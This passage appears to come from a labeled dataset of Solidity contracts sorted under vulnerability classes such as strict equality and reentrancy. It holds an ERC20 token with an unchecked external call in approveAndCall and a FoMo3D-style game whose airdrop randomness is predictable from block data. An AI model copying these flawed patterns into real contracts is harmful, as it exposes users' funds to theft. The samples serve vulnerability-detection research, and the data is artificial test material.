Cannot create a token without supply and no minting } } } /** * When token is released to be transferable, enforce no new tokens can be created. */ function releaseTokenTransfer() public onlyReleaseAgent { mintingFinished = true; super.releaseTokenTransfer(); } /** * Allow upgrade agent functionality kick in only if the crowdsale was success. */ function canUpgrade() public constant returns(bool) { return released && super.canUpgrade(); } /** * Owner can update token information here. * * It is often useful to conceal the actual token association, until * the token operations, like central issuance or reissuance have been completed. * * This function allows the token owner to rename the token after the operations * have been completed and then point the audience to use the token contract. */ function setTokenInformation(string _name, string _symbol) onlyOwner { name = _name; symbol = _symbol; UpdatedTokenInformation(name, symbol); } /** * Claim tokens that were accidentally sent to this contract. * * @param _token The address of the token contract that you want to recover. */ function claimTokens(address _token) public onlyOwner { require(_token != address(0)); ERC20 token = ERC20(_token); uint balance = token.balanceOf(this); token.transfer(owner, balance); ClaimedTokens(_token, owner, balance); } }",./Dataset/ether strict equality (SE),3,3 34562.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract HippoBohemianToken is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function HippoBohemianToken( ) { balances[msg.sender] = 100000; // Give the creator all initial tokens (100000 for example) totalSupply = 100000; // Update total supply (100000 for example) name = ""HippoBohemian""; // Set the name for display purposes decimals = 0; // Amount of decimals for display purposes symbol = ""HPB""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/reentrancy (RE)/,5,5 2411.sol,"pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract modularLong is F3Devents {} contract DiviesCTR { function deposit() public payable; } contract FoMo3Dlong is modularLong { using SafeMath for *; using NameFilter for string; using F3DKeysCalcLong for uint256; otherFoMo3D private otherF3D_; DiviesCTR constant private Divies = DiviesCTR(0x88B30117e7EaFCDa49542D5530D383146ca9af70); address constant private FeeAddr = 0x1C7584476a8d586c3dd8f83864D0d5cd214492E9; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x30aa3C69fE10022Bca0A158b42FFC739Aa10b1e5); string constant public name = ""Break the Bank""; string constant public symbol = ""BTB""; uint256 private rndExtra_ = 45 seconds; uint256 private rndGap_ = 10 minutes; uint256 constant private rndInit_ = 30 minutes; uint256 constant private rndInc_ = 1 seconds; uint256 constant private rndMax_ = 30 minutes; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(56,10); fees_[1] = F3Ddatasets.TeamFee(56,10); fees_[2] = F3Ddatasets.TeamFee(56,10); fees_[3] = F3Ddatasets.TeamFee(56,10); potSplit_[0] = F3Ddatasets.PotSplit(20,20); potSplit_[1] = F3Ddatasets.PotSplit(20,20); potSplit_[2] = F3Ddatasets.PotSplit(20,20); potSplit_[3] = F3Ddatasets.PotSplit(20,20); } modifier isActivated() { require(activated_ == true, ""its not ready yet. check ?eta in discord""); _; } modifier isHuman() { require(msg.sender == tx.origin, ""sorry humans only - FOR REAL THIS TIME""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""pocket lint: not a valid currency""); require(_eth <= 100000000000000000000000, ""no vitalik, no""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); FeeAddr.transfer(_com); round_[_rID].mask = _ppt.add(round_[_rID].mask); if (_p3d > 0) Divies.deposit.value(_p3d)(); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _com = _eth / 50; FeeAddr.transfer(_com); uint256 _p3d; uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _aff; } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { Divies.deposit.value(_p3d)(); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth.mul(2) / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require( (msg.sender == 0xc2b140d3a0cf1afce033cbd7d058e7fc5729f50f || msg.sender == 0xdEADBeef9C8846C434b2b55B73D735D51Ceac1aa), ""only team break the bank can activate"" ); require(activated_ == false, ""fomo3d already 